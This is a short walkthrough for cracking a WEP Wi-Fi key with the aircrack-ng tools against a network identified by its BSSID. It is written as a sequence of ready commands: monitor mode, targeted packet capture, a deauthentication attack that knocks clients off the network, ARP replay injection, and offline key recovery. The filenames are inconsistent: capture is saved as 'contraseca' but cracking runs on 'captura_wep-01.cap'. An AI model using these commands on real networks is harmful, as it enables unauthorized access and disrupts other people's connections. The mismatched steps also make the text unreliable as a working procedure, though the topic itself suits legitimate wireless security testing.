The initial phase requires enabling monitor mode on the designated wireless interface.

airmon-ng start wlan1

Next, we map the local radio frequency space to locate the targeted WEP network:

airodump-ng --band abg wlan1mon

Once identified, we focus our capture interface on the target network parameters:

airodump-ng --bssid 84:16:F9:9C:9E:40 --channel 6 --write contraseca wlan1mon

We monitor the captured wireless traffic volume. If active traffic is sufficient, we can proceed directly to cryptographic cracking. Otherwise, we must perform packet injection techniques via aireplay-ng to accelerate Initialization Vector (IV) generation.

First, we execute a deauthentication attack sequence to force reconnection frames:

aireplay-ng -0 5 -a 84:16:F9:9C:9E:40 -c <MY_MAC> wlan1mon

Next, we initiate ARP request replay injection to maximize packet collection speeds:

aireplay-ng -3 -b 84:16:F9:9C:9E:40 -h <MY_MAC> wlan1mon

While maintaining these background injection processes, we launch the cracking utility in a parallel terminal window:

aircrack-ng -b 84:16:F9:9C:9E:40 captura_wep-01.cap

The parsing engine attempts key derivation once a threshold of IVs is reached; however, the statistical attack will fail if the captured sample size remains insufficient.

We maintain the collection loop until an adequate pool of initialization vectors is compiled (approximately 100,000 packets). Once met, the statistical matrix resolves, revealing the cleartext network key.